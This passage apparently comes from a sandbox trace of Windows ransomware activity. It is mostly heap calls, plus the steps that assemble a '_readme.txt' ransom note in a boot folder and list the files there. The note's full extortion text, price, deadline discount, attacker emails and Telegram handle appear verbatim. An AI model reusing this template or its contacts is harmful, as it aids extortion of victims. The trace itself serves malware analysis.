hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.705] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.705] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.705] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.705] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.705] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.705] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.705] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.705] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.705] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.705] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0119.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.705] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.705] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.705] PathFindFileNameW (pszPath="") returned="" [0119.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.705] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.706] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.706] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.706] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.706] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.706] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.706] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.706] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0119.706] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.706] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0119.707] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.707] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.707] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.707] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.707] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.707] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.709] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.710] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.710] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.710] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.710] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.713] HeapFree (in: 